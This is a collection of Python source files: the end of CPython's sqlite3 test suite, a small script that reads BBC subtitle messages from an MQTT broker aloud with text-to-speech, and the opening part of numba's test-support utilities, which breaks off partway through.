class MyIter:
def __init__(self):
self.value = 5
def __iter__(self):
return self
def __next__(self):
if self.value == 10:
raise StopIteration
else:
self.value += 1
return (self.value,)
self.cu.executemany("insert into test(income) values (?)", MyIter())
def test_execute_many_generator(self):
def mygen():
for i in range(5):
yield (i,)
self.cu.executemany("insert into test(income) values (?)", mygen())
def test_execute_many_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.executemany(42, [(3,)])
def test_execute_many_select(self):
with self.assertRaises(sqlite.ProgrammingError):
self.cu.executemany("select ?", [(3,)])
def test_execute_many_not_iterable(self):
with self.assertRaises(TypeError):
self.cu.executemany("insert into test(income) values (?)", 42)
def test_fetch_iter(self):
# Optional DB-API extension.
self.cu.execute("delete from test")
self.cu.execute("insert into test(id) values (?)", (5,))
self.cu.execute("insert into test(id) values (?)", (6,))
self.cu.execute("select id from test order by id")
lst = []
for row in self.cu:
lst.append(row[0])
self.assertEqual(lst[0], 5)
self.assertEqual(lst[1], 6)
def test_fetchone(self):
self.cu.execute("select name from test")
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
row = self.cu.fetchone()
self.assertEqual(row, None)
def test_fetchone_no_statement(self):
cur = self.cx.cursor()
row = cur.fetchone()
self.assertEqual(row, None)
def test_array_size(self):
# must default ot 1
self.assertEqual(self.cu.arraysize, 1)
# now set to 2
self.cu.arraysize = 2
# now make the query return 3 rows
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('A')")
self.cu.execute("insert into test(name) values ('B')")
self.cu.execute("insert into test(name) values ('C')")
self.cu.execute("select name from test")
res = self.cu.fetchmany()
self.assertEqual(len(res), 2)
def test_fetchmany(self):
self.cu.execute("select name from test")
res = self.cu.fetchmany(100)
self.assertEqual(len(res), 1)
res = self.cu.fetchmany(100)
self.assertEqual(res, [])
def test_fetchmany_kw_arg(self):
"""Checks if fetchmany works with keyword arguments"""
self.cu.execute("select name from test")
res = self.cu.fetchmany(size=100)
self.assertEqual(len(res), 1)
def test_fetchall(self):
self.cu.execute("select name from test")
res = self.cu.fetchall()
self.assertEqual(len(res), 1)
res = self.cu.fetchall()
self.assertEqual(res, [])
def test_setinputsizes(self):
self.cu.setinputsizes([3, 4, 5])
def test_setoutputsize(self):
self.cu.setoutputsize(5, 0)
def test_setoutputsize_no_column(self):
self.cu.setoutputsize(42)
def test_cursor_connection(self):
# Optional DB-API extension.
self.assertEqual(self.cu.connection, self.cx)
def test_wrong_cursor_callable(self):
with self.assertRaises(TypeError):
def f(): pass
cur = self.cx.cursor(f)
def test_cursor_wrong_class(self):
class Foo: pass
foo = Foo()
with self.assertRaises(TypeError):
cur = sqlite.Cursor(foo)
def test_last_row_id_on_replace(self):
"""
INSERT OR REPLACE and REPLACE INTO should produce the same behavior.
"""
sql = '{} INTO test(id, unique_test) VALUES (?, ?)'
for statement in ('INSERT OR REPLACE', 'REPLACE'):
with self.subTest(statement=statement):
self.cu.execute(sql.format(statement), (1, 'foo'))
self.assertEqual(self.cu.lastrowid, 1)
def test_last_row_id_on_ignore(self):
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
def test_last_row_id_insert_o_r(self):
results = []
for statement in ('FAIL', 'ABORT', 'ROLLBACK'):
sql = 'INSERT OR {} INTO test(unique_test) VALUES (?)'
with self.subTest(statement='INSERT OR {}'.format(statement)):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
expected = [
('FAIL', 2), ('FAIL', 2),
('ABORT', 3), ('ABORT', 3),
('ROLLBACK', 4), ('ROLLBACK', 4),
]
self.assertEqual(results, expected)
def test_column_count(self):
# Check that column count is updated correctly for cached statements
select = "select * from test"
res = self.cu.execute(select)
old_count = len(res.description)
# Add a new column and execute the cached select query again
self.cu.execute("alter table test add newcol")
res = self.cu.execute(select)
new_count = len(res.description)
self.assertEqual(new_count - old_count, 1)
def test_same_query_in_multiple_cursors(self):
cursors = [self.cx.execute("select 1") for _ in range(3)]
for cu in cursors:
self.assertEqual(cu.fetchall(), [(1,)])
class ThreadTests(unittest.TestCase):
def setUp(self):
self.con = sqlite.connect(":memory:")
self.cur = self.con.cursor()
self.cur.execute("create table test(name text)")
def tearDown(self):
self.cur.close()
self.con.close()
@threading_helper.reap_threads
def _run_test(self, fn, *args, **kwds):
def run(err):
try:
fn(*args, **kwds)
err.append("did not raise ProgrammingError")
except sqlite.ProgrammingError:
pass
except:
err.append("raised wrong exception")
err = []
t = threading.Thread(target=run, kwargs={"err": err})
t.start()
t.join()
if err:
self.fail("\n".join(err))
def test_check_connection_thread(self):
fns = [
lambda: self.con.cursor(),
lambda: self.con.commit(),
lambda: self.con.rollback(),
lambda: self.con.close(),
lambda: self.con.set_trace_callback(None),
lambda: self.con.set_authorizer(None),
lambda: self.con.create_collation("foo", None),
]
for fn in fns:
with self.subTest(fn=fn):
self._run_test(fn)
def test_check_cursor_thread(self):
fns = [
lambda: self.cur.execute("insert into test(name) values('a')"),
lambda: self.cur.close(),
lambda: self.cur.execute("select name from test"),
lambda: self.cur.fetchone(),
]
for fn in fns:
with self.subTest(fn=fn):
self._run_test(fn)
@threading_helper.reap_threads
def test_dont_check_same_thread(self):
def run(con, err):
try:
con.execute("select 1")
except sqlite.Error:
err.append("multi-threading not allowed")
con = sqlite.connect(":memory:", check_same_thread=False)
err = []
t = threading.Thread(target=run, kwargs={"con": con, "err": err})
t.start()
t.join()
self.assertEqual(len(err), 0, "\n".join(err))
class ConstructorTests(unittest.TestCase):
def test_date(self):
d = sqlite.Date(2004, 10, 28)
def test_time(self):
t = sqlite.Time(12, 39, 35)
def test_timestamp(self):
ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35)
def test_date_from_ticks(self):
d = sqlite.DateFromTicks(42)
def test_time_from_ticks(self):
t = sqlite.TimeFromTicks(42)
def test_timestamp_from_ticks(self):
ts = sqlite.TimestampFromTicks(42)
def test_binary(self):
b = sqlite.Binary(b"\0'")
class ExtensionTests(unittest.TestCase):
def test_script_string_sql(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.executescript("""
-- bla bla
/* a stupid comment */
create table a(i);
insert into a(i) values (5);
""")
cur.execute("select i from a")
res = cur.fetchone()[0]
self.assertEqual(res, 5)
def test_script_syntax_error(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(x); asdf; create table test2(x)")
def test_script_error_normal(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(sadfsadfdsa); select foo from hurz;")
def test_cursor_executescript_as_bytes(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(TypeError):
cur.executescript(b"create table test(foo); insert into test(foo) values (5);")
def test_cursor_executescript_with_null_characters(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(ValueError):
cur.executescript("""
create table a(i);\0
insert into a(i) values (5);
""")
def test_cursor_executescript_with_surrogates(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(UnicodeEncodeError):
cur.executescript("""
create table a(s);
insert into a(s) values ('\ud8ff');
""")
@unittest.skipUnless(sys.maxsize > 2**32, 'requires 64bit platform')
@bigmemtest(size=2**31, memuse=3, dry_run=False)
def test_cursor_executescript_too_large_script(self, maxsize):
con = sqlite.connect(":memory:")
cur = con.cursor()
for size in 2**31-1, 2**31:
with self.assertRaises(sqlite.DataError):
cur.executescript("create table a(s);".ljust(size))
def test_connection_execute(self):
con = sqlite.connect(":memory:")
result = con.execute("select 5").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.execute")
def test_connection_executemany(self):
con = sqlite.connect(":memory:")
con.execute("create table test(foo)")
con.executemany("insert into test(foo) values (?)", [(3,), (4,)])
result = con.execute("select foo from test order by foo").fetchall()
self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany")
self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany")
def test_connection_executescript(self):
con = sqlite.connect(":memory:")
con.executescript("create table test(foo); insert into test(foo) values (5);")
result = con.execute("select foo from test").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.executescript")
class ClosedConTests(unittest.TestCase):
def test_closed_con_cursor(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur = con.cursor()
def test_closed_con_commit(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.commit()
def test_closed_con_rollback(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.rollback()
def test_closed_cur_execute(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur.execute("select 4")
def test_closed_create_function(self):
con = sqlite.connect(":memory:")
con.close()
def f(x): return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_function("foo", 1, f)
def test_closed_create_aggregate(self):
con = sqlite.connect(":memory:")
con.close()
class Agg:
def __init__(self):
pass
def step(self, x):
pass
def finalize(self):
return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_aggregate("foo", 1, Agg)
def test_closed_set_authorizer(self):
con = sqlite.connect(":memory:")
con.close()
def authorizer(*args):
return sqlite.DENY
with self.assertRaises(sqlite.ProgrammingError):
con.set_authorizer(authorizer)
def test_closed_set_progress_callback(self):
con = sqlite.connect(":memory:")
con.close()
def progress(): pass
with self.assertRaises(sqlite.ProgrammingError):
con.set_progress_handler(progress, 100)
def test_closed_call(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con()
class ClosedCurTests(unittest.TestCase):
def test_closed(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.close()
for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"):
if method_name in ("execute", "executescript"):
params = ("select 4 union select 5",)
elif method_name == "executemany":
params = ("insert into foo(bar) values (?)", [(3,), (4,)])
else:
params = []
with self.assertRaises(sqlite.ProgrammingError):
method = getattr(cur, method_name)
method(*params)
class SqliteOnConflictTests(unittest.TestCase):
"""
Tests for SQLite's "insert on conflict" feature.
See https://www.sqlite.org/lang_conflict.html for details.
"""
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute("""
CREATE TABLE test(
id INTEGER PRIMARY KEY, name TEXT, unique_name TEXT UNIQUE
);
""")
def tearDown(self):
self.cu.close()
self.cx.close()
def test_on_conflict_rollback_with_explicit_transaction(self):
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
# Use connection to commit.
self.cx.commit()
self.cu.execute("SELECT name, unique_name from test")
# Transaction should have rolled back and nothing should be in table.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_with_explicit_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
self.cx.commit()
self.cu.execute("SELECT name, unique_name FROM test")
# Expect the first two inserts to work, third to do nothing.
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_rollback_without_transaction(self):
# Start of implicit transaction
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT name, unique_name FROM test")
# Implicit transaction is rolled back on error.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_without_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
# Make sure all other values were inserted.
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_fail(self):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_ignore(self):
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
# Nothing should happen.
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('foo',)])
def test_on_conflict_replace(self):
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Data!', 'foo')")
# There shouldn't be an IntegrityError exception.
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Very different data!', 'foo')")
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('Very different data!', 'foo')])
class MultiprocessTests(unittest.TestCase):
CONNECTION_TIMEOUT = SHORT_TIMEOUT / 1000. # Defaults to 30 ms
def tearDown(self):
unlink(TESTFN)
def test_ctx_mgr_rollback_if_commit_failed(self):
# bpo-27334: ctx manager does not rollback if commit fails
SCRIPT = f"""if 1:
import sqlite3
def wait():
print("started")
assert "database is locked" in input()
cx = sqlite3.connect("{TESTFN}", timeout={self.CONNECTION_TIMEOUT})
cx.create_function("wait", 0, wait)
with cx:
cx.execute("create table t(t)")
try:
# execute two transactions; both will try to lock the db
cx.executescript('''
-- start a transaction and wait for parent
begin transaction;
select * from t;
select wait();
rollback;
-- start a new transaction; would fail if parent holds lock
begin transaction;
select * from t;
rollback;
''')
finally:
cx.close()
"""
# spawn child process
proc = subprocess.Popen(
[sys.executable, "-c", SCRIPT],
encoding="utf-8",
bufsize=0,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
)
self.addCleanup(proc.communicate)
# wait for child process to start
self.assertEqual("started", proc.stdout.readline().strip())
cx = sqlite.connect(TESTFN, timeout=self.CONNECTION_TIMEOUT)
try: # context manager should correctly release the db lock
with cx:
cx.execute("insert into t values('test')")
except sqlite.OperationalError as exc:
proc.stdin.write(str(exc))
else:
proc.stdin.write("no error")
finally:
cx.close()
# terminate child process
self.assertIsNone(proc.returncode)
try:
proc.communicate(input="end", timeout=SHORT_TIMEOUT)
except subprocess.TimeoutExpired:
proc.kill()
proc.communicate()
raise
self.assertEqual(proc.returncode, 0)
def suite():
tests = [
ClosedConTests,
ClosedCurTests,
ConnectionTests,
ConstructorTests,
CursorTests,
ExtensionTests,
ModuleTests,
MultiprocessTests,
OpenTests,
SqliteOnConflictTests,
ThreadTests,
UninitialisedConnectionTests,
]
return unittest.TestSuite(
[unittest.TestLoader().loadTestsFromTestCase(t) for t in tests]
)
def test():
runner = unittest.TextTestRunner()
runner.run(suite())
if __name__ == "__main__":
test()
|
MQTTRadio.py | from os import system
import signal
import sys
import threading, queue
import paho.mqtt.client as mqtt
import re
import pyttsx3
import importlib
topic = "bbc/subtitles/bbc_news24/compacted"
q = queue.Queue()
running = True
def say(text):
# Workaround because runAndWait() sometimes hangs on windows
importlib.reload(pyttsx3)
engine = pyttsx3.init()
engine.say(text)
print(str(text))
engine.runAndWait()
def worker():
sentence=" "
while running:
item = q.get()
sentence += re.sub(r'[^A-Za-z0-9.,]+', '', item)+' '
if '.' in sentence:
say(sentence)
sentence=""
q.task_done()
threading.Thread(target=worker, daemon=True).start()
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
client.subscribe(topic)
# The callback for when a PUBLISH message is received from the server.
def on_message(client, userdata, msg):
if(running):
for word in msg.payload.decode("utf-8").split(' '):
q.put(word)
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
def signal_handler(sig, frame):
print('You pressed Ctrl+C!')
running=False
q.join()
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
print("About to connect")
client.connect("mqtt.eclipseprojects.io", 1883, 60)
client.loop_forever()
|
support.py | """
Assorted utilities for use in tests.
"""
from __future__ import print_function
import cmath
import contextlib
import enum
import errno
import gc
import math
import os
import shutil
import subprocess
import sys
import tempfile
import time
import io
import ctypes
import multiprocessing as mp
from contextlib import contextmanager
import numpy as np
from numba import config, errors, typing, utils, numpy_support, testing
from numba.compiler import compile_extra, compile_isolated, Flags, DEFAULT_FLAGS
from numba.targets import cpu
import numba.unittest_support as unittest
from numba.runtime import rtsys
from numba.six import PY2
enable_pyobj_flags = Flags()
enable_pyobj_flags.set("enable_pyobject")
force_pyobj_flags = Flags()
force_pyobj_flags.set("force_pyobject")
no_pyobj_flags = Flags()
nrt_flags = Flags()
nrt_flags.set("nrt")
tag = testing.make_tag_decorator(['important', 'long_running'])
_windows_py27 = (sys.platform.startswith('win32') and
sys.version_info[:2] == (2, 7))
_32bit = sys.maxsize <= 2 ** 32
_reason = 'parfors not supported'
skip_parfors_unsupported = unittest.skipIf(_32bit or _windows_py27, _reason)
class CompilationCache(object):
"""
A cache of compilation results for various signatures and flags.
This can make tests significantly faster (or less slow).
"""
def __init__(self):
self.typingctx = typing.Context()
self.targetctx = cpu.CPUContext(self.typingctx)
self.cr_cache = {}
def compile(self, func, args, return_type=None, flags=DEFAULT_FLAGS):
"""
Compile the function or retrieve an already compiled result
from the cache.
"""
from numba.targets.registry import cpu_target
cache_key = (func, args, return_type, flags)
try:
cr = self.cr_cache[cache_key]
except KeyError:
# Register the contexts in case for nested @jit or @overload calls
# (same as compile_isolated())
with cpu_target.nested_context(self.typingctx, self.targetctx):
cr = compile_extra(self.typingctx, self.targetctx, func,
args, return_type, flags, locals={})
self.cr_cache[cache_key] = cr
return cr
class TestCase(unittest.TestCase):
longMessage = True
# A random state yielding the same random numbers for any test case.
# Use as `self.random.<method name>`
@utils.cached_property
def random(self):
return np.random.RandomState(42)
def reset_module_warnings(self, module):
"""
Reset the warnings registry of a module. This can be necessary
as the warnings module is buggy in that regard.
See http://bugs.python.org/issue4180
"""
if isinstance(module, str):
module = sys.modules[module]
try:
del module.__warningregistry__
except AttributeError:
pass
@contextlib.contextmanager
def assertTypingError(self):
"""
A context manager that asserts the enclosed code block fails
compiling in nopython mode.
"""
_accepted_errors = (errors.LoweringError, errors.TypingError,
TypeError, NotImplementedError)
with self.assertRaises(_accepted_errors) as cm:
yield cm
@contextlib.contextmanager
def assertRefCount(self, *objects):
"""
A context manager that asserts the given objects have the
same reference counts before and after executing the
enclosed block.
"""
old_refcounts = [sys.getrefcount(x) for x in objects]
yield
new_refcounts = [sys.getrefcount(x) for x in objects]
for old, new, obj in zip(old_refcounts, new_refcounts, objects):
if old != new:
self.fail("Refcount changed from %d to %d for object: %r"
% (old, new, obj))
@contextlib.contextmanager
def assertNoNRTLeak(self):
"""
A context manager that asserts no NRT leak was created during
the execution of the enclosed block.
"""
old = rtsys.get_allocation_stats()
yield
new = rtsys.get_allocation_stats()
total_alloc = new.alloc - old.alloc
total_free = new.free - old.free
total_mi_alloc = new.mi_alloc - old.mi_alloc
total_mi_free = new.mi_free - old.mi_free
self.assertEqual(total_alloc, total_free,
"number of data allocs != number of data frees")
self.assertEqual(total_mi_alloc, total_mi_free,
"number of meminfo allocs != number of meminfo frees")
_bool_types = (bool, np.bool_)
_exact_typesets = [_bool_types, utils.INT_TYPES, (str,), (np.integer,),
(utils.text_type), (bytes, np.bytes_)]
_approx_typesets = [(float,), (complex,), (np.inexact)]
_sequence_typesets = [(tuple, list)]
_float_types = (float, np.floating)
_complex_types = (complex, np.complexfloating)
def _detect_family(self, numeric_object):
"""
This function returns a string description of the type family
that the object in question belongs to. Possible return values
are: "exact", "complex", "approximate", "sequence", and "unknown"
"""
if isinstance(numeric_object, np.ndarray):
return "ndarray"
if isinstance(numeric_object, enum.Enum):
return "enum"
for tp in self._sequence_typesets:
if isinstance(numeric_object, tp):
return "sequence"
for tp in self._exact_typesets:
if isinstance(numeric_object, tp):
return "exact"
for tp in self._complex_types:
if isinstance(numeric_object, tp):
return "complex"
for tp in self._approx_typesets:
if isinstance(numeric_object, tp):
return "approximate"
return "unknown"
def _fix_dtype(self, dtype):
"""
Fix the given *dtype* for comparison.
"""
# Under 64-bit Windows, Numpy may return either int32 or int64
# arrays depending on the function.
if (sys.platform == 'win32' and sys.maxsize > 2**32 and
dtype == np.dtype('int32')):
return np.dtype('int64')
else:
return dtype
def _fix_strides(self, arr):
"""
Return the strides of the given array, fixed for comparison.
Strides for 0- or 1-sized dimensions are ignored.
"""
if arr.size == 0:
return [0] * arr.ndim
else:
return [stride / arr.itemsize
for (stride, shape) in zip(arr.strides, arr.shape)
if shape > 1]
def assertStridesEqual(self, first, second):
"""
Test that two arrays have the same shape and strides.
"""
self.assertEqual(first.shape, second.shape, "shapes differ")
self.assertEqual(first.itemsize, second.itemsize, "itemsizes differ")
self.assertEqual(self._fix_strides(first), self._fix_strides(second),
"strides differ")
def assertPreciseEqual(self, first, second, prec='exact', ulps=1,
msg=None, ignore_sign_on_zero=False,
abs_tol=None
):
"""
Versatile equality testing function with more built-in checks than
standard assertEqual().
For arrays, test that layout, dtype, shape are identical, and
recursively call assertPreciseEqual() on the contents.
For other sequences, recursively call assertPreciseEqual() on
the contents.
For scalars, test that two scalars or have similar types and are
equal up to a computed precision.
If the scalars are instances of exact types or if *prec* is
'exact', they are compared exactly.
If the scalars are instances of inexact types (float, complex)
and *prec* is not 'exact', then the number of significant bits
is computed according to the value of *prec*: 53 bits if *prec*
is 'double', 24 bits if *prec* is single. This number of bits
can be lowered by raising the *ulps* value.
ignore_sign_on_zero can be set to True if zeros are to be considered
equal regardless of their sign bit.
abs_tol if this is set to a float value its value is used in the
following. If, however, this is set to the string "eps" then machine
precision of the type(first) is used in the following instead. This
kwarg is used to check if the absolute difference in value between first
and second is less than the value set, if so the numbers being compared
are considered equal. (This is to handle small numbers typically of
magnitude less than machine precision).
Any value of *prec* other than 'exact', 'single' or 'double'
will raise an error.
"""
try:
self._assertPreciseEqual(first, second, prec, ulps, msg,
ignore_sign_on_zero, abs_tol)
except AssertionError as exc:
failure_msg = str(exc)
# Fall off of the 'except' scope to avoid Python 3 exception
# chaining.
else:
return
# Decorate the failure message with more information
self.fail("when comparing %s and %s: %s" % (first, second, failure_msg))
def _assertPreciseEqual(self, first, second, prec='exact', ulps=1,
msg=None, ignore_sign_on_zero=False,
abs_tol=None):
"""Recursive workhorse for assertPreciseEqual()."""
def _assertNumberEqual(first, second, delta=None):
if (delta is None or first == second == 0.0
or math.isinf(first) or math.isinf(second)):
self.assertEqual(first, second, msg=msg)
# For signed zeros
if not ignore_sign_on_zero:
try:
if math.copysign(1, first) != math.copysign(1, second):
self.fail(
self._formatMessage(msg,
"%s != %s" %
(first, second)))
except TypeError:
pass
else:
self.assertAlmostEqual(first, second, delta=delta, msg=msg)
first_family = self._detect_family(first)
second_family = self._detect_family(second)
assertion_message = "Type Family mismatch. (%s != %s)" % (first_family,
second_family)
if msg:
assertion_message += ': %s' % (msg,)
self.assertEqual(first_family, second_family, msg=assertion_message)
# We now know they are in the same comparison family
compare_family = first_family
# For recognized sequences, recurse
if compare_family == "ndarray":
dtype = self._fix_dtype(first.dtype)
self.assertEqual(dtype, self._fix_dtype(second.dtype))
self.assertEqual(first.ndim, second.ndim,
"different number of dimensions")
self.assertEqual(first.shape, second.shape,
"different shapes")
self.assertEqual(first.flags.writeable, second.flags.writeable,
"different mutability")
# itemsize is already checked by the dtype test above
self.assertEqual(self._fix_strides(first),
self._fix_strides(second), "different strides")
if first.dtype != dtype:
first = first.astype(dtype)
if second.dtype != dtype:
second = second.astype(dtype)
for a, b in zip(first.flat, second.flat):
self._assertPreciseEqual(a, b, prec, ulps, msg,
ignore_sign_on_zero, abs_tol)
return
elif compare_family == "sequence":
self.assertEqual(len(first), len(second), msg=msg)
for a, b in zip(first, second):
self._assertPreciseEqual(a, b, prec, ulps, msg,
ignore_sign_on_zero, abs_tol)
return
elif compare_family == "exact":
exact_comparison = True
elif compare_family in ["complex", "approximate"]:
exact_comparison = False
elif compare_family == "enum":
self.assertIs(first.__class__, second.__class__)
self._assertPreciseEqual(first.value, second.value,
prec, ulps, msg,
ignore_sign_on_zero, abs_tol)
return
elif compare_family == "unknown":
# Assume these are non-numeric types: we will fall back
# on regular unittest comparison.
self.assertIs(first.__class__, second.__class__)
exact_comparison = True
else:
assert 0, "unexpected family"
# If a Numpy scalar, check the dtype is exactly the same too
# (required for datetime64 and timedelta64).
if hasattr(first, 'dtype') and hasattr(second, 'dtype'):
self.assertEqual(first.dtype, second.dtype)
# Mixing bools and non-bools should always fail
if (isinstance(first, self._bool_types) !=
isinstance(second, self._bool_types)):
assertion_message = ("Mismatching return types (%s vs. %s)"
% (first.__class__, second.__class__))
if msg:
assertion_message += ': %s' % (msg,)
self.fail(assertion_message)
try:
if cmath.isnan(first) and cmath.isnan(second):
# The NaNs will compare unequal, skip regular comparison
return
except TypeError:
# Not floats.
pass
# if absolute comparison is set, use it
if abs_tol is not None:
if abs_tol == "eps":
rtol = np.finfo(type(first)).eps
elif isinstance(abs_tol, float):
rtol = abs_tol
else:
raise ValueError("abs_tol is not \"eps\" or a float, found %s"
% abs_tol)
if abs(first - second) < rtol:
return
exact_comparison = exact_comparison or prec == 'exact'
if not exact_comparison and prec != 'exact':
if prec == 'single':
bits = 24
elif prec == 'double':
bits = 53
else:
raise ValueError("unsupported precision %r" % (prec,))
k = 2 ** (ulps - bits - 1)
delta = k * (abs(first) + abs(second))
else:
delta = None
if isinstance(first, self._complex_types):
_assertNumberEqual(first.real, second.real, delta)
_assertNumberEqual(first.imag, second.imag, delta)
elif isinstance(first, (np.timedelta64, np.datetime64)):
# Since Np 1.16 NaT == NaT is False, so special comparison needed
if numpy_support.version >= (1, 16) and np.isnat(first):
self.assertEqual(np.isnat(first), np.isnat(second))
else:
_assertNumberEqual(first, second, delta)
else:
_assertNumberEqual(first, second, delta)
def run_nullary_func(self, pyfunc, flags):
"""
Compile the 0-argument *pyfunc* with the given *flags*, and check
it returns the same result as the pure Python function.
The got and expected results are returned.
"""
cr = compile_isolated(pyfunc, (), flags=flags)
cfunc = cr.entry_point
expected = pyfunc()
got = cfunc()
self.assertPreciseEqual(got, expected)
return got, expected
if PY2:
@contextmanager
def subTest(self, *args, **kwargs):
"""A stub TestCase.subTest backport.
This implementation is a no-op.
"""
yield
class SerialMixin(object):
"""Mixin to mark test for serial execution.
"""
_numba_parallel_test_ = False
# Various helpers
@contextlib.contextmanager
def override_config(name, value):
"""
Return a context manager that temporarily sets Numba config variable
*name* to *value*. *name* must be the name of an existing variable
in numba.config.
"""
old_value = getattr(config, name)
setattr(config, name, value)
try:
yield
finally:
setattr(config, name, old_value)
@contextlib.contextmanager
def override_env_config(name, value):
"""
Return a context manager that temporarily sets an Numba config environment
*name* to *value*.
"""
old = os.environ.get(name)
os.environ[name] = value
config.reload_config()
try:
yield
finally:
if old is None:
# If it wasn't set originally, delete the environ var
del os.environ[name]
else:
# Otherwise, restore to the old value
os.environ[name] = old
# Always reload config
config.reload_config()
def compile_function(name, code, globs):
"""
Given a *code* string, compile it with globals *globs* and return
the function named *name*.
"""
co = compile(code.rstrip(), "<string>", "single")
ns = {}
eval(co, globs, ns)
return ns[name]
def tweak_code(func, codestring=None, consts=None):
"""
Tweak the code object of the given function by replacing its
*codestring* (a bytes object) and *consts* tuple, optionally.
"""
co = func.__code__
tp = type(co)
if codestring is None:
codestring = co.co_code
if consts is None:
consts = co.co_consts
if sys.version_info >= (3,):
new_code = tp(co.co_argcount, co.co_kwonlyargcount, co.co_nlocals,
co.co_stacksize, co.co_flags, codestring,
consts, co.co_names, co.co_varnames,
co.co_filename, co.co_name, co.co_firstlineno,
co.co_lnotab)
else:
new_code = tp(co.co_argcount, co.co_nlocals,
co.co_stacksize, co.co_flags, codestring,
consts, co.co_names, co.co_varnames,
co.co_filename, co.co_name, co.co_firstlineno,
co.co_lnotab)
func.__code__ = new_code
_trashcan_dir = 'numba-tests'
if os.name == 'nt':
# Under Windows, gettempdir() points to the user-local temp dir
_trashcan_dir = os.path.join(tempfile.gettempdir(), _trashcan_dir)
else:
# Mix the UID into the directory name to allow different users to
# run the test suite without permission errors (issue #1586)
_trashcan_dir = os.path.join(tempfile.gettempdir(),
"%s.%s" % (_trashcan_dir, os.getuid()))
# Stale temporary directories are deleted after they are older than this value.
# The test suite probably won't ever take longer than this...
_trashcan_timeout = 24 * 3600 # 1 day
def _create_trashcan_dir():
try:
os.mkdir(_trashcan_dir)
except OSError as e:
if e.errno != errno.EEXIST:
raise
def _purge_trashcan_dir():
freshness_threshold = time.time() - _trashcan_timeout
